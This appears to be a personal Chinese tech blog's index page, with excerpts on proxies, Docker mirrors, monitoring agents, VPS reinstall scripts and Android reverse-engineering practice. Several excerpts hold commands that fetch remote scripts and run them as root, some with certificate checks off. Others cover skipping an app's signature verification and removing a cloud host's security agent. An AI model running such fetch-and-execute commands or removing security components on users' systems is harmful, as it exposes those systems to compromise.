luodaoyi's Blog

让 Codex 和 Claude Code 调用 Grok：grok-build 本地 Runtime Bridge

luodaoyi@gmail.com (luodaoyi) — Thu, 23 Jul 2026 13:00:00 +0800

最近我做了一个更重要的项目：grok-build。

源代码仓库：

https://github.com/luodaoyi/grok-bridge-rs

一句话概括：它是一个用 Rust 写的本地 Runtime Bridge，让 Codex、Claude Code、OpenCode 这类 Agent 可以把开发任务交给 Grok CLI，同时保留会话、终端、状态和人工接管能力。

Windows 上实时查看 Codex 用量：我做了一个原生桌面挂件

luodaoyi@gmail.com (luodaoyi) — Thu, 23 Jul 2026 12:00:00 +0800

最近我做了一个 Windows 小工具，叫 CodexUsageBar。

项目地址：

https://github.com/luodaoyi/codex-useage-win

一句话概括：它是一个原生 Win32/C++ 桌面挂件，把当前 Codex 账号的 5 小时和每周用量，直接放在桌面上实时显示。

我用 Zig 重写了 Komari Agent

luodaoyi@gmail.com (luodaoyi) — Sat, 02 May 2026 18:24:00 +0800

最近我又折腾了一个小项目，叫 komari-zig-agent。

项目地址：

1

https://github.com/luodaoyi/komari-zig-agent

一句话概括：这是一个用 Zig 重写的 Komari Agent，目标是直接替换原来的 Go agent，在协议兼容的前提下，把二进制体积和常驻内存压下来。

如果你用 Komari 监控 VPS、OpenWrt 或者一些小内存机器，这个东西会比较有用。

我做了一个本地版瑞思迈呼吸机数据分析工具：BreatheLens

luodaoyi@gmail.com (luodaoyi) — Tue, 28 Apr 2026 13:50:00 +0800

最近我做了一个新项目，叫 BreatheLens。

项目地址：

1

https://github.com/luodaoyi/BreatheLens

它是一个专门用来分析 ResMed 瑞思迈 CPAP / APAP 呼吸机 SD 卡数据 的本地工具。目标很直接：把原始治疗数据整理成更容易看懂的图表、表格和建议。

很多人手里其实并不缺数据，缺的是一个足够直接、足够轻量、又不逼你折腾半天的查看方式。BreatheLens 就是朝这个方向做的。

我写了一个证书监控系统，叫 Certwarden

luodaoyi@gmail.com (luodaoyi) — Mon, 20 Apr 2026 14:25:00 +0000

我最近整理了一个自己之前写的项目，叫 Certwarden。

它不是一个“再造轮子式”的玩具项目，而是一个我觉得在真实运维场景里真的能用得上的东西：

一个面向团队、平台和托管场景的多租户 SSL/TLS 证书监控系统。

如果你手上只有一两个域名，证书快过期了，自己记一下也能扛。

但只要数量一上来，事情就会立刻变味：

哪些域名的证书快过期了
哪些证书其实已经异常了
哪些域名属于哪个客户、哪个租户
谁该收到通知
有没有一个页面能直接给别人看当前状态

很多团队不是没有意识到证书重要，而是压根没有一套顺手的方式把这件事持续管起来。

所以我写 Certwarden，解决的就是这个问题。

给 OpenAI Codex 接上 Telegram 通知：从手动下二进制，到一条 npx 搞定

luodaoyi@gmail.com (luodaoyi) — Mon, 20 Apr 2026 12:42:32 +0000

我最近把一个小工具重新整理了一遍：go-codex-notify。

它做的事情很简单，就是给 OpenAI Codex 的 notify 钩子接一个 Telegram 通知。Codex 任务跑完，或者跑到某个阶段，你人不在电脑前，也能立刻收到一条消息。

这个东西本身不复杂，但它解决的是一个很实际的问题：AI 在后台干活的时候，你不想一直盯着终端。

以前这类小工具最大的问题，不是功能做不出来，而是用起来太别扭。你得自己下载二进制、选平台、放路径、改配置、处理环境变量，最后还得解释给别人怎么装。对作者来说只是几个步骤，对用户来说就是直接放弃。

所以我这次重点做的不是“让它能发消息”，而是“让它更像一个正常人会愿意用的工具”。

Bilibili 批量取消关注油猴脚本：自动刷新继续下一页

luodaoyi@gmail.com (luodaoyi) — Sat, 11 Apr 2026 19:01:50 +0800

最近想把 B 站关注列表快速清理一下，手动一页一页点太慢，所以写了个油猴脚本。

脚本下载：bilibili-unfollow-simple-refresh.user.js

这个版本走的是 B 站网页接口，不是模拟鼠标疯狂点按钮，整体会稳一些；同时保留了一个很简单的右下角小面板，方便开始和停止。

它的逻辑也很直接：

读取当前页关注列表
逐个取消关注
当前页处理完后自动刷新页面
刷新后自动继续下一页
如果点了停止，就在当前页处理完之后停下来

功能说明

支持批量取消当前账号的关注
支持自动刷新后继续处理下一页
支持失败重试
支持基础防频控延时
支持跳过互粉 / 跳过悄悄关注（默认关闭）
页面右下角会显示一个简单状态面板

使用方法

1. 安装 Tampermonkey

浏览器先装好 Tampermonkey 扩展。

[转载] iptables配置无SNAT转发所有流量，保留来源真实ip

luodaoyi@gmail.com (luodaoyi) — Fri, 19 Dec 2025 14:08:04 +0800

iptables配置无SNAT转发所有流量，保留来源真实IP

前言

在网络架构中，我们经常需要通过中转机转发流量到后端服务器。传统方案通常使用 SNAT/MASQUERADE 来实现，但这会导致一个严重问题：后端服务器看到的来源IP全部变成了中转机的IP，丢失了真实客户端IP信息。

本文将介绍一种无SNAT转发方案，通过 DNAT + 策略路由的组合，在转发所有流量的同时保留客户端的真实IP地址。

tinyfecVPN 全自动部署

luodaoyi@gmail.com (luodaoyi) — Fri, 19 Dec 2025 13:57:14 +0800

这里提供一个“够用且可回滚”的 tinyfecVPN 一键部署脚本：自动安装依赖、拉取/更新源码（含 submodule）、编译 NOLIMIT（无限制）版本、安装二进制到 /usr/local/bin/tinyvpn，并生成/启用 systemd 服务（Server/Client 分开）。脚本全程交互式输入参数，直接写进 ExecStart，重启不丢；部署后默认删除源码目录（带路径保护），机器上只留下 tinyvpn + systemd unit。

利用iptables转发服务器流量

luodaoyi@gmail.com (luodaoyi) — Thu, 18 Dec 2025 16:33:37 +0800

这里提供一个“够用且可回滚”的最小 iptables 转发脚本：安装时交互式输入转发目标 IP、需要排除的不转发端口（可多个），并选择入口网卡；其余 TCP/UDP/ICMP 流量统一 DNAT 到后端。由 systemd 托管，重启不丢；一键卸载，出错可干净撤回。

依赖说明

管理脚本会检测 iptables/ip/sysctl/systemctl，缺失时可自动用 apt/dnf/yum 安装（也可提前设置 AUTO_INSTALL=1 静默安装）。在容器环境仍需 CAP_NET_ADMIN 等权限，否则无法生效。

IPIP 网站 IP 信息查询 Chrome插件 Manifest V3版本升级指南

luodaoyi@gmail.com (luodaoyi) — Sun, 17 Aug 2025 03:00:00 +0000

前言

随着Chrome浏览器对Manifest V3的强制要求，许多基于Manifest V2的Chrome扩展都面临着升级的挑战。本文将详细介绍如何将IPIP网站IP信息查询Chrome插件从Manifest V2升级到V3版本，包括遇到的问题、解决方案以及最佳实践。

自建Docker镜像加速服务 mirrors

luodaoyi@gmail.com (luodaoyi) — Sat, 10 May 2025 12:46:35 +0800

使用docker compose部署，就俩文件配置好就可以用了

部署镜像仓库代理

（1）创建账号密码【可选】

配置账号密码：设置密码认证后，我们在进行拉取镜像时就需要先 docker login登入到我们的自建的代理镜像仓库，然后才可以拉取镜像

注意：执行htpasswd命令时，请把username和password修改为你自己的账号和密码

用Caddy搭建Docker加速服务

luodaoyi@gmail.com (luodaoyi) — Sat, 10 May 2025 00:06:24 +0800

用Caddy搭建Docker加速服务, 不用跑docker什么的，直接用就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97



# Edit this domain to yours
DOMAIN="example.com"

cat << EOF > /etc/caddy/Caddyfile
hub.docker.${DOMAIN} {
 encode gzip
 reverse_proxy * https://registry-1.docker.io {
 header_up Host registry-1.docker.io
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie registry-1.docker.io docker.${DOMAIN}
 header_down Www-Authenticate "Bearer realm=\"https://auth.docker.${DOMAIN}/token\",service=\"registry.docker.io\""
 header_down Location "https://production.cloudflare.docker.com" "https://production.cloudflare.docker.${DOMAIN}"
 }
}

auth.docker.${DOMAIN} {
 encode gzip
 reverse_proxy * https://auth.docker.io {
 header_up Host auth.docker.io
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie auth.docker.io docker.${DOMAIN}
 }
}

production.cloudflare.docker.${DOMAIN} {
 encode gzip
 reverse_proxy * https://production.cloudflare.docker.com {
 header_up Host production.cloudflare.docker.com
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie production.cloudflare.docker.com docker.${DOMAIN}
 }
}

hub.quay.${DOMAIN} {
 encode gzip
 reverse_proxy * https://quay.io {
 header_up Host quay.io
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie quay.io quay.${DOMAIN}
 header_down Www-Authenticate "Bearer realm=\"https://hub.quay.${DOMAIN}/v2/auth\",service=\"quay.io\""
 }
}

hub.gcr.${DOMAIN} {
 encode gzip
 reverse_proxy * https://gcr.io {
 header_up Host gcr.io
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie k8s.gcr.io gcr.${DOMAIN}
 header_down Www-Authenticate "Bearer realm=\"https://hub.gcr.${DOMAIN}/v2/token\",service=\"gcr.io\""
 }
}

hub.k8s.${DOMAIN} {
 encode gzip
 reverse_proxy * https://k8s.gcr.io {
 header_up Host k8s.gcr.io
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie k8s.gcr.io gcr.${DOMAIN}
 header_down Www-Authenticate "Bearer realm=\"https://hub.k8s.${DOMAIN}/v2/token\",service=\"k8s.gcr.io\""
 header_down Location "https://storage.googleapis.com" "https://storage.googleapis.${DOMAIN}"
 }
}

storage.googleapis.${DOMAIN} {
 encode gzip
 reverse_proxy * https://storage.googleapis.com {
 header_up Host storage.googleapis.com
 header_up X-Real-IP {http.request.remote.host}
 header_up X-Forwarded-For {http.request.remote.host}
 header_up X-Forwarded-Port {http.request.port}
 header_up X-Forwarded-Proto {http.request.scheme}
 header_down Set-Cookie storage.googleapis.com storage.googleapis.${DOMAIN}
 }
}
EOF

systemctl restart caddy

Debian和Centos自动更新安全补丁，防止被黑

luodaoyi@gmail.com (luodaoyi) — Mon, 09 Dec 2024 11:10:16 +0800

Debian 12 启用自动更新安全补丁

在 Debian 12 上启用自动更新安全补丁（自动安全更新）通常可以使用 unattended-upgrades 工具来实现。下面是详细步骤：

安装 unattended-upgrades 软件包：

通常 Debian 12 默认源中已经包含此工具，如未安装可执行：

1
2


sudo apt-get update
sudo apt-get install unattended-upgrades

通过交互式配置启用自动更新：

安装完成后，可以使用 dpkg-reconfigure 来进行配置：

1

sudo dpkg-reconfigure unattended-upgrades

此时会有一个交互式对话框，选择 Yes 启用自动更新。

禁用docker的ufw,禁止docker无视ufw规则

luodaoyi@gmail.com (luodaoyi) — Sat, 23 Nov 2024 08:33:14 +0800

默认情况下，创建容器如果绑定了端口，则 docker 会自动修改 iptables 打开这个端口。然而 UFW 并不会显示这个规则，这就导致了不管使用 UFW 做什么限制，docker 绑定的这个端口都是开放的。

问题所在

默认情况下，创建容器如果绑定了端口，则 docker 会自动修改 iptables 打开这个端口。然而 UFW(uncomplicated firewall) 并不会显示这个规则，这就导致了不管使用 UFW 做什么限制，docker 绑定的这个端口都是开放的。

Caddy设置仅允许cloudfalre的ip访问，防止被穿过waf

luodaoyi@gmail.com (luodaoyi) — Tue, 15 Oct 2024 13:42:09 +0800

此配置的主要用途是确保没有人可以绕过Cloudflare或其他安全反向代理提供商对网站发起拒绝服务攻击（DoS）。类似功能可以通过real_ip和其他插件实现，但本文的重点是简化设置，不需要安装插件。

需要注意的是，Cloudflare的IP范围并非静态的，尽管变化频率非常低，仍需要手动更新。有人仍然可以通过Cloudflare Workers作为第三方在Cloudflare IP范围内发起请求，不过要使用这种方式进行大规模拒绝服务攻击难度较大。

Openwrt 路由器安装哪吒监控Agent

luodaoyi@gmail.com (luodaoyi) — Wed, 02 Oct 2024 15:34:48 +0800

最近想把路由器也接入nezha监控于是乎研究下了下发现挺简单的

步骤如下

下载agent 可执行文件
编写init.d脚本设置开机启动

以下操作全部都在openwrt的ssh中执行

下载

1
2
3
4
5
6
7
8
9


cd /tmp/upload/
wget https://github.com/nezhahq/agent/releases/download/v0.19.8/nezha-agent_linux_arm64.zip
unzip nezha-agent_linux_arm64.zip
mv nezha-agent /usr/sbin/nezha-agent
chmod +x /usr/sbin/nezha-agent

# 检查下是否成功
root@QWRT:/tmp/upload# nezha-agent -v
0.19.8

配置脚本并且设置开机启动

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


vi /etc/init.d/nezha-service


输入以下内容:

#!/bin/sh /etc/rc.common

START=99
USE_PROCD=1

start_service() {
 procd_open_instance
 procd_set_param command /usr/sbin/nezha-agent -s 自己的服务器:443 -p 自己的密码 --tls --report-delay 4 --skip-conn --skip-procs --ip-report-period 600 --disable-command-execute
 procd_set_param respawn
 procd_close_instance
}

stop_service() {
 killall nezha-agent
}

restart() {
 stop
 sleep 2
 start
}


#设置权限，否则会报错
chmod a+x /etc/init.d/nezha-service

#设置开机启动
/etc/init.d/nezha-service enable

#启动服务
/etc/init.d/nezha-service start

#后续要关闭开启启动的话
/etc/init.d/nezha-service disable

ok了就这么简单

NaiveProxy 简易配置

luodaoyi@gmail.com (luodaoyi) — Tue, 05 Dec 2023 17:15:30 +0000

20250719 更新增加一键安装脚本，支持一键安装和卸载

20250324 更新

naiveproxy不可以代理udp

(更新)一键安装/卸载/升级脚本

1
2


# 一键安装"
wget http://luodaoyi.com/naiveproxy-deploy.sh && sudo bash naiveproxy-deploy.sh --install

安装golang

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


sudo apt update
sudo apt install wget -y

# 获取最新版本
export GO_VER=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')
echo $GO_VER

## 清空目录
rm -rf /usr/local/go && mkdir -p /usr/local/go

# amd机器
wget https://go.dev/dl/${GO_VER}.linux-amd64.tar.gz 
sudo tar -zxvf ${GO_VER}.linux-amd64.tar.gz -C /usr/local/

# 甲骨文之类的arm机器
wget https://go.dev/dl/${GO_VER}.linux-arm64.tar.gz
sudo tar -zxvf ${GO_VER}.linux-arm64.tar.gz -C /usr/local/

# 配置path
cat > /etc/profile.d/go.sh << \EOF
export GOROOT=/usr/local/go
export PATH=$GOROOT/bin:$PATH
EOF

source /etc/profile.d/go.sh

# 加入环境变量
cat >> ~/.bashrc << \EOF
export GOPATH=$HOME/.gopath
export PATH=$GOPATH/bin:$PATH
export GO111MODULE=on
#export GOPROXY=https://goproxy.cn
EOF

source ~/.bashrc && mkdir -p $GOPATH && echo $GOPATH

# 看看正常不
go version
go env

编译安装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# 开始编译
sudo apt-get install libnss3 debian-keyring debian-archive-keyring apt-transport-https

mkdir ~/src && cd ~/src/

# 用xcaddy构建
go install github.com/caddyserver/xcaddy/cmd/xcaddy@latest

# 开始构建
xcaddy build \
 --with github.com/caddyserver/forwardproxy@caddy2=github.com/klzgrad/forwardproxy@naive \
 --with github.com/caddy-dns/cloudflare@latest \
 --with github.com/caddy-dns/dnspod@latest \
 --with github.com/caddy-dns/alidns@latest 


sudo mv caddy /usr/bin/
caddy version
sudo setcap cap_net_bind_service=+ep /usr/bin/caddy # 设置bind权限，可443

# 检查正常不
caddy version 

# 查看caddy已经安装的第三方模块
caddy list-modules --packages

配置服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


# 开始配置

mkdir -p /etc/caddy/ && touch /etc/caddy/Caddyfile

cat > /etc/caddy/Caddyfile << \EOF
{
 admin off
 order forward_proxy before reverse_proxy
}

:443, luodaoyi.com {
 tls asura@asura.com 
 request_body {
 max_size 1GB
 }
 forward_proxy {
 basic_auth asura asura123
 hide_ip
 hide_via
 probe_resistance
 }
 # 这里的端口是你反代的地址 随便你填 没的话填域名也可以
 # reverse_proxy www.bing.com
 reverse_proxy 127.0.0.1:33000
}

EOF

# 封装成服务 开机启动
groupadd --system caddy

useradd --system \
 --gid caddy \
 --create-home \
 --home-dir /var/lib/caddy \
 --shell /usr/sbin/nologin \
 --comment "Caddy web server" \
 caddy

cat > /etc/systemd/system/caddy.service << \EOF
[Unit]
Description=Caddy
Documentation=https://caddyserver.com/docs/
After=network.target network-online.target
Requires=network-online.target


[Service]
User=caddy
Group=caddy
ExecStart=/usr/bin/caddy run --environ --config /etc/caddy/Caddyfile
ExecReload=/usr/bin/caddy reload --config /etc/caddy/Caddyfile
TimeoutStopSec=5s
LimitNOFILE=1048576
LimitNPROC=512
PrivateTmp=true
ProtectSystem=full
AmbientCapabilities=CAP_NET_BIND_SERVICE


[Install]
WantedBy=multi-user.target
EOF


# 测试正常不正常
sudo systemctl daemon-reload && sudo systemctl enable caddy 
sudo systemctl start caddy && sudo systemctl status caddy
 

检查指纹

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12



 # 检查指纹
# 下载jarm
wget https://raw.githubusercontent.com/salesforce/jarm/master/jarm.py

# 查看网站jarm指纹 
python3 jarm.py 你的域名

# 网络空间资产搜索引擎：
# 打开网址 https://fofa.info 
# 搜索框输入: jarm="xxxxx"
# 如果结果有几百万个 那就没问题了，要是几十个就有问题，说明有特征了，重新搞吧

c++ 调试输出简单封装

luodaoyi@gmail.com (luodaoyi) — Sun, 03 Dec 2023 03:00:00 +0000

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


#include <windows.h>
#include <fmt/printf.h>
#include <string>
#include <type_traits>

template <typename CharType, typename... Args>
void GlobalOutputDebugString(const CharType* format, Args... args) {
 // 使用 fmt::sprintf 格式化字符串
 std::basic_string<CharType> formatted = fmt::sprintf(format, args...);

 // 根据字符类型调用相应的 OutputDebugString 函数
 if constexpr (std::is_same_v<CharType, char>) {
 OutputDebugStringA(formatted.c_str());
 } else if constexpr (std::is_same_v<CharType, wchar_t>) {
 OutputDebugStringW(formatted.c_str());
 }
}

// 这个宏将根据项目设置自动选择正确的字符类型。
// 如果项目设置为使用 Unicode 字符集，那么 _T 和 __FUNCTIONT__ 将解析为 L 和 __FUNCTIONW__。
// 如果项目设置为使用多字节字符集，那么 _T 和 __FUNCTIONT__ 将解析为无前缀和 __FUNCTION__。
#define LOG_DEBUG(format, ...) GlobalOutputDebugString(_T("[%d] ") __FUNCTIONT__ _T("(%d) ") format, GetCurrentThreadId(), __LINE__, ##__VA_ARGS__)

Realm端口转发工具简单使用

luodaoyi@gmail.com (luodaoyi) — Tue, 07 Nov 2023 16:19:00 +0000

Realm 是Rust语言开发的流量转发工具，Realm 比 Gost占用资源更小。

支持多组服务器转发，同时也支持tcp和udp，还有域名解析便捷。

据我的测试结果来看，对于RDP的转发 realm 比市面上别的转发工具延迟都要明显低一些。

下载最新的可执行文件到本地：

Github 以最新版本为主，根据自己的系统版本下载即可，

群晖dsm增加ddns提供商 (HE.net)

luodaoyi@gmail.com (luodaoyi) — Tue, 07 Nov 2023 11:48:00 +0000

只需要在 /etc.defaults/ddns_provider.conf 文件中加入以下内容：

1
2
3


[HE_DDNS]
 modulepath=DynDNS
 queryurl=https://dyn.dns.he.net/nic/update?hostname=__HOSTNAME__&myip=__MYIP__

然后在DDNS配置中选择HE_DDNS，假设主机名是 abc.example.org ，在主机名和用户名都填写 abc.example.org ，密码处填写HE.NET中生成的TOKEN即可

来源: https://www.right.com.cn/forum/forum.php?mod=redirect&goto=findpost&ptid=1326840&pid=11006444

完整优雅的卸载腾讯云云服务器安全监控组件

luodaoyi@gmail.com (luodaoyi) — Sat, 28 Oct 2023 16:48:00 +0000

腾讯云的服务器会自动安装云监控、云镜等安全服务，方便在控制台查看产品运行状态等

可以看一下服务器的定时任务：

1
2
3
4
5


$ crontab -l

*/1 * * * * /usr/local/qcloud/stargate/admin/start.sh > /dev/null 2>&1 &

0 0 * * * /usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1 &

从来不看腾讯云的云监控控制台，要这东西有何用，卸载

云监控 Linux 安装目录是 /usr/local/qcloud/stargate 和 /usr/local/qcloud/monitor 还有一个主机安全，也就是所谓的云镜，新开服务器不取消勾选都会默认安装云镜 Linux 安装目录是 /usr/local/qcloud/YunJing

lnmp自动备份网站文件和数据库并上传到谷歌云盘

luodaoyi@gmail.com (luodaoyi) — Mon, 10 Oct 2022 08:06:53 +0000

修改备份脚本参数

修改/root/lnmp1.8/tools/backup.sh 备份脚本的几个参数。清注意：如果升级了lnmp一键安装包，此文件应需要再次修改。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Backup_Home="/home/backup/" # 此为备份文件存放目录
MySQL_Dump="/usr/local/mysql/bin/mysqldump" # mysqldump路径,如果是mariadb,替换/usr/local/mysql为/usr/local/mariadb
######~Set Directory you want to backup~######
Backup_Dir=("/home/wwwroot/aaa.com" "/home/wwwroot/avatar.aaa.com") # 要备份的目录，目录用双引号括起来，多个目录空格隔开

######~Set MySQL Database you want to backup~######
Backup_Database=("lnmp" "aaa") # 要备份的数据库，目录用双引号括起来，多个目录空格隔开

######~Set MySQL UserName and password~######
MYSQL_UserName='root' # MySQL root账号
MYSQL_PassWord='yourrootpassword' # MySQL root密码

######~Enable Ftp Backup~######
Enable_FTP=0 # 是否启用ftp备份。0 启用；1 不启用
# 0: enable; 1: disable
######~Set FTP Information~###### ftp账号信息
FTP_Host='1.2.3.4'
FTP_Username='aaa.com'
FTP_Password='yourftppassword'
FTP_Dir="backup" # ftp服务器上存放备份的目录

#Values Setting END! 默认备份文件保存3天，可以修改backup.sh里的-3day为你指定的天数。

Gdrive 安装与谷歌云盘授权

Gdrive项目地址：https://github.com/prasmussen/gdrive，gdrive 是用于与 Google Drive 交互的命令行实用程序。

mjj折腾常用脚本

luodaoyi@gmail.com (luodaoyi) — Thu, 21 Apr 2022 08:26:00 +0000

1、DD重装脚本

史上最强脚本

1

wget --no-check-certificate -qO InstallNET.sh 'https://raw.githubusercontent.com/leitbogioro/Tools/master/Linux_reinstall/InstallNET.sh' && chmod a+x InstallNET.sh && bash InstallNET.sh -debian 12 -pwd 'password'

萌咖大佬的脚本

1

bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/MoeClub/Note/master/InstallNET.sh') -d 11 -v 64 -p 密码 -port 端口 -a -firmware

beta.gs大佬的脚本

1

wget --no-check-certificate -O NewReinstall.sh https://raw.githubusercontent.com/fcurrk/reinstall/master/NewReinstall.sh && chmod a+x NewReinstall.sh && bash NewReinstall.sh

DD windows（使用史上最强DD脚本）

1

bash <(curl -sSL https://raw.githubusercontent.com/leitbogioro/Tools/master/Linux_reinstall/InstallNET.sh) -windows 10 -lang "cn"

账户：Administrator 密码：Teddysun.com 使用Windows徽标+R快捷键打开运行框，输入powershell运行，弹出powershell命名输入窗口，输入以下命令：

群晖dsm7安装哪吒监控简易教程

luodaoyi@gmail.com (luodaoyi) — Tue, 08 Feb 2022 19:56:52 +0000

研究了下其实挺简单

dsm7的群晖启动项管理变成了 systemd

路径在 /usr/lib/systemd/system/

那么就简单了

ssh登陆群晖然后切换成root

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


sudo -s

cd /volume1/@apphome

mkdir NezhaAgent

# 这里得注意 下载你群晖对应架构的agent
#wget https://github.com/naiba/nezha/releases/download/v0.12.3/nezha-agent_linux_amd64.tar.gz

#ps 20241002修正 现在仓库变了
wget https://github.com/nezhahq/agent/releases/download/v0.19.8/nezha-agent_linux_amd64.zip

#tar -zxvf nezha-agent_linux_amd64.tar.gz
#ps 20241002修正 现在是zip了 但是dms默认没有unzip命令 那么就用7z解压就可以了
7z x nezha-agent_linux_amd64.zip

chmod +x nezha-agent

下面就设置systemd脚本

Android逆向练习1 跳过签名验证

luodaoyi@gmail.com (luodaoyi) — Fri, 01 May 2020 12:31:51 +0000

今天练练手做一个跳过签名验证的练习

下手的app ：

1. 分析apk

首先拖入AndroidKiller
选择不分析

编译打包

拖入模拟器

发现直接停止运行
下面来找原因

2. 分析

拖入GDA3.72 打开入口发现可以函数调用

进去看看

读取了签名但是没有干啥事情
进kille把这段改掉，试试看

Android逆向 ARM汇编简介

luodaoyi@gmail.com (luodaoyi) — Sun, 26 Apr 2020 16:40:58 +0000

Arm汇编简单介绍

控制指令

跳转指令: B(Branch) => 分支的意思
- B 无条件跳转
- BL 带链接的无条件跳转
- BX 带状态切换的无条件跳转根据目标地址最低位切换状态（arm/thumb）
- BLX 带链接和状态切换的无条件跳转
- B loc_地址
- BEQ,BNE

存储器与寄存器交互数据指令核心

存储器/寄存器: 内存,存储数据(小数据:寄存器,大数据:栈)
- 内存: 都是为数据服务
LDR/STR
- LDR: 从存储器中加载数据到寄存器中 => LOAD
  - LDR R8,[R9,#4],R8为待加载数据的寄存器,加载值为 R9+0x4 所指向的存储单元, 伪代码 R8 = *(R9+4)
- LDR: 将寄存器的火速据存储到存储区 => Store
  - STR R8,[R9,#4],将R8寄存器的数据存储到 R9+0x4指向的存储单元,伪代码: *(R9+4) = R8
LDM/STM
- LDM: 将存储器的数据加载到一个寄存器列表
  - LDM R0,{R1,R3},将R1指向的存储单元的数据一次加载到 R1,R2,R3寄存器
- STM: 将一个寄存器列表的数据存储到指定的存储器
PUSH/POP
- PUSH: 将寄存器的值压入堆栈压栈==>
- POP 将堆栈值弹出到寄存器出栈<==
SWP: 将寄存器与存储器之间的数据进行交换
- SWP R1,R1 [R0],将R1寄存器与R0指向的存储单元的内容进行交换
堆,队列:
- 数据结构:
  - 栈是竖的,后进先出,且只能从栈顶一次填入数据

数据传输指令

MOV 将立即数或寄存器的数据传送到目标寄存器
MOV R0,#8 => R0 = 8

Android逆向 NDK开发总结

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Apr 2020 16:29:35 +0000

NDK开发总结

Jni接口: java native interface
作用:用于java/c/c++ 代码之间的交互
使用方法:
1. jni静态注册
  1. 在java代码中定义native修饰的方法;
  2. 根据java中native修饰的方法生成头文件(SRC路径执行javah -jni);
  3. 编写c/c++代码,导入头文件,同时实现头文件中的方法;
  4. 编写两个mk文件: Android.mk文件 Application.mk文件(头文件/代码文件和两个mk放入jni目录);
  5. 来带指定目录(jni所在路径),生成so文件;
2. 动态注册
  1. 在java代码中定义native修饰的方法;
  2. 新建c/c++文件,导入jni.h头文件,编写c/c++文件 ,实现java层被native修饰的方法;
  3. 通过JNINativeMethod结构体绑定java和c/c++方法;
  4. 通过RegisterNatives方法注册java相应的类以及方法;
  5. 把c/c++注册方法写入到JNI_onload(两个参数),注意: JNI_onload是系统调用;
  6. 来到指定路径(jni所在路径),ndk_build生成so文件;
两种注册方法有区别的对比
- 静态注册:
  1. 编写不方便,jni方法名字必须遵循规则且名字比较长;
  2. 运行效率不高;
- 动态注册:
  1. 流程清晰可控;
  2. 运行效率高

Android逆向 Android Studio JNI 快速构建项目+动态注册+简易计算器

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Apr 2020 16:04:38 +0000

本文转发语NCK大佬的博客,并且自己跟着做了一遍有一点点不同大致上是大佬的文章:
https://www.cnblogs.com/fuhua/p/12725771.html

前面几篇文章演示的是比较原始的创建JNI项目的方法，旨在了解JNI项目构建原理！
但是构建项目效率很低，开发，调试都存在很大的效率低下问题。
本篇文章将演示利用Android Studio快速构建JNI项目。本篇文章要点

Android逆向 JNI静态注册(c++和java交互)

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Apr 2020 14:49:00 +0000

Android逆向 JNI静态注册(c++和java交互)

使用Android Studio新建JNi项目

请看NCK大佬的文章:

https://www.cnblogs.com/fuhua/p/12695436.html

先加个textview方便输出调试信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


<?xml version="1.0" encoding="utf-8"?>
<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:app="http://schemas.android.com/apk/res-auto"
 xmlns:tools="http://schemas.android.com/tools"
 android:layout_width="match_parent"
 android:layout_height="match_parent"
 tools:context=".MainActivity">

 <TextView
 android:id="@+id/TextViewDebug"
 android:layout_width="match_parent"
 android:layout_height="match_parent"
 android:gravity="center"
 android:text="TextView" />
</androidx.coordinatorlayout.widget.CoordinatorLayout>

1. JNI普通字段，静态字段互操作.

目标: 获取普通字段的值，设置普通字段的值，获取静态字段的值，设置静态字段的值。

Android Studio安装记录

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Apr 2020 09:37:45 +0000

Android Studio安装记录

发现各个大佬都在用AS 我也装一个用一下

1. 下载

下载地址:

https://developer.android.com/studio

2. 直接一路Next

